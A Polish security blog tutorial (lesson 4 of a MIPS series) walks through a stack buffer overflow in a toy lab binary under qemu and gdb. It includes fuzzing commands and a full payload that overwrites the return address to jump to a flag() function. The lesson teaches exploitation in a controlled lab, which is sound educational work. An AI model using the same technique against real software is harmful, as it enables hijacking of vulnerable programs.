Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Jak się w końcu zabrać za tego assemblera? Czyli MIPS w kontekście bezpieczeństwa – lekcja 4.

15 kwietnia 2020, 11:07 | Teksty | komentarze 2
Tagi:

Ostatnie zadanie było trochę inne niż wszystkie więcej działania oprócz samej analizy. Musiałeś pogonić aplikację, aby ta uruchomiła pewną funkcję, chociaż nie miała tego w planach. Dałeś radę?

Mam szczerą nadzieję, że nie szukałeś rozwiązania w Internecie, a w swojej głowie, oczywiście z pomocą gdb. Jeśli nie dałeś rady, ale bardzo chcesz się jeszcze pomęczyć, to goto #3 lekcja i atakuj. Jeśli jednak doszedłeś do rozwiązania, to będę bardzo wdzięczny za komentarz, jak sobie z tym poradziłeś ;>

Kawa, terminal i jedziemy.

Rozpoznanie

Uruchom program z parametrem: /usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..200})”. Przy uruchomieniu podaliśmy jako parametr programu 200 znaków A”. Program zadziałał prawidłowo, lecz nie o to nam chodziło.

Spróbujmy jeszcze raz. Uruchom program zwiększając teraz wartość parametru o 4 znaki: /usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..204})”.

~$ /usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..204})

Niet.

qemu: uncaught target signal 11 (Segmentation fault) – core dumped

Naruszenie ochrony pamięci

Mamy coś. Powyższy błąd mówi nam o tym, że program chciał dobić się do pamięci nieprzeznaczonej konkretnie dla niego. Ciekawe…

Zaraz zbadamy to za pomocą gdb, tymczasem zobacz jeszcze raz na kod Twojego programu: 

char buf[200] ="\0";
strcpy(buf, argv[1]);

Program ma zadeklarowaną 200-elementową tablicę znaków, do której przy uruchomieniu kopiowana jest wartość naszego parametru. Wszystko przebiega prawidłowo, kiedy tego limitu nie przekraczamy.

Funkcja strcpy(to, from)” kopiuje znaki z jednej tablicy (from) do drugiej (to). W momencie kiedy tablica from (w naszym przypadku jest to parametr programu) zawiera więcej znaków niż tablica to, dochodzi do tzw. przepełnienia bufora (buffer overflow”), co umożliwia atakującemu przejęcie kontroli nad działaniem programu.

Dzieje się tak za sprawą funkcji strcpy()”, która nie ma wbudowanej kontroli limitu kopiowanych znaków, chociaż funkcja sama w sobie nie jest winna implementacja w projektowanym sofcie takich czy innych funkcji, bibliotek itp., a także walidacja danych zawsze leży po stronie programisty. W każdym razie trzeba to zbadać gdb i zaraz zobaczymy, co będziemy mogli z tego wystrugać. 

Zanim rozpoczniemy naszą analizę, musisz wiedzieć, że oprócz funkcji strcpy()” istnieje także funkcja strncpy()”, której trzecim parametrem jest liczba limit kopiowanych znaków z tablicy from” do tablicy to”. Trzeba jednak uważać tutaj na pewną rzecz: jeśli liczba ta będzie większa od liczby znaków w tablicy to”, to i w takim przypadku może dojść do przepełnienia bufora. PS. Pamiętaj też, że rozmiar tablic liczy się od indeksu 0 ;)

Jedziemy:

~$ mipsel-linux-gdb hw -q

Reading symbols from hw…done.

(gdb) target remote 127.0.0.1:7331

 Terminal #1

~# chroot . ./qemu-mipsel-static -g 7331 hw $(printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD)

 Terminal #2

Twój program powinien w tym momencie dostać strzała:

Reading symbols from hw…done.

(gdb) target remote 127.0.0.1:7331

Remote debugging using 127.0.0.1:7331

0x00400190 in __start ()

(gdb) continue

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x44444444 in ?? ()

(gdb)

 Naruszenie ochrony pamięci w programie (terminal #1)  

I tak ma być. Przeanalizujmy razem sobie tę sytuację. Na samym początku zwróć uwagę na początek funkcji main” (disassemble main”):

(gdb) disassemble main

Dump of assembler code for function main:

<+0>: addiu sp,sp,-232

<+4>: sw ra,228(sp)

<+8>: sw s8,224(sp)

Powinieneś już rozpoznać (po przerobieniu poprzedniej lekcji oczywiście ;)) prolog programu, w którym program zaalokował sobie na stosie miejsce na wartości poprzednich rejestrów oraz zmienne lokalne, w tym również na naszą 200-elementową tablicę. 

Ogólnie wygląda to tak:

Stos funkcji „main”

Dobra. Wróć do drugiego terminala (z gdb) i zobacz, co się stało z wartościami na stosie:

Nadpisany stos

Ciąg znaków parametru programu był na tyle długi, że nie zmieścił się w przydzielonej mu pamięci i skutkiem tego wartości rejestrów odłożone na stos także zostały nadpisane.

W tym również wartość rejestru $ra ;> 

Rejestr adresu powrotu $ra wskazuje na adres 0x44444444 (ciąg DDDD” w naszym parametrze) program zgłupiał, bo nie ma dostępu do pamięci pod tym adresem. Zanim przejdziesz dalej, zastanów się przez moment, jaką możliwość daje Ci nadpisanie rejestru $ra ;)

Atak

Chwila chwila… a gdzie jest nasza funkcja flag()”, którą masz finalnie uruchomić? Jako że zbliżamy się do końca tej lekcji, warto byłoby się nią w końcu zainteresować ;>

Jak masz jeszcze odpalony terminal z gdb, to zobaczmy sobie funkcję flag()”:

(gdb) disassemble flag

Dump of assembler code for function flag:

   0x0040044c <+0>: addiu sp,sp,-32

   0x00400450 <+4>: sw ra,28(sp)

   0x00400454 <+8>: sw s8,24(sp)

Żyje. W tym momencie mamy już wszystkie informacje, które są potrzebne do skonstruowania odpowiedniego parametru uruchamiającego funkcję flag()”. Jak pamiętasz z powyższego rozdziału, rejestr $ra został nadpisany wartością 0x44444444, która po zamianie na string będzie miała postać DDDD”; są to też cztery ostatnie znaki parametru, jaki przekazaliśmy podczas testowania programu.

Cały trik polega na tym, aby rejestr $ra został nadpisany adresem funkcji flag()” po to, aby program miał tam skoczyć po wykonaniu funkcji main()” (epilog).

 

~$ /usr/bin/qemu-mipsel-static hw „AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC`echo -e '\\x4c\\x04\\x40’`”

Wygrales!

^C

 Adres ‘\\x4c\\x04\\x40’ użyty w parametrze jest adresem pierwszej instrukcji w funkcji flag()”. pierwszym adresem funkcji flag()”

Mam nadzieję, że dotarłeś do końca i zrobiłeś ;> 

Mam nadzieję, że zadanie nie sprawiło Ci wielu problemów ;>

Czeka nas jeszcze ostatnia lekcja z MIPSa: nowe środowisko, no i więcej security.

Kombinuj i nie poddawaj się ;>

–Mateusz Wójcik, grupa Squadron31

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Wójt

    Ahh, to zakończenie.. nowe środowisko, więcej security… jest dreszczyk! Nie mogę się doczekać następnej lekcji :D Szkoda tylko, że będzie ona ostatnią :(

    Co do samej treści: oczywiście jak zwykle świetnie wytłumaczone :) Jedyne, co jest nieprzejrzyste, to.. fakt, że długie linie wejścia do tego programu MIPSowego są ucinane i nie da się tak po prostu zobaczyć bez jakiegoś Inspect Elementu.. Ale poza tym, lekcja super jak cała seria, przejrzysta i do ogarnięcia dla każdego komu się chce :)

    I jeszcze pozwolę sobie odpowiedzieć tutaj (sorry, że dopiero teraz) na Twoje pytanie @Mateusz z ostatniej lekcji:
    Z samą konfiguracją buildroota itd problemów żadnych nie miałem, o ile pamiętam instrukcja z pierwszej lekcji zawierała wszystko co potrzebne, tylko kilka rzeczy sobie inaczej zainstalowałem, ale z wyboru, nie przymusu :)

    Odpowiedz
  2. @Wójt dzięki, służę ;)

    Co do kontynuacji tematów z obszaru IoT security – jest naprawdę masa wiedzy | researchu do opisania i zgłębiania.

    Pytanie jest tylko jedno – czy będą zainteresowani tym tematem.

    Co do buildroota: extra, że zrobiłeś! Szacunek, że miałeś tyle chęci aby dojść do tego momentu :)

    Jeśli chodzi o sam debug softu na IoT – ogólnie pisząc – trzeba się czasem nakombinować aby uruchomić sobie swoją „piaskownicę” do zabawy.

    Odpowiedz

Odpowiedz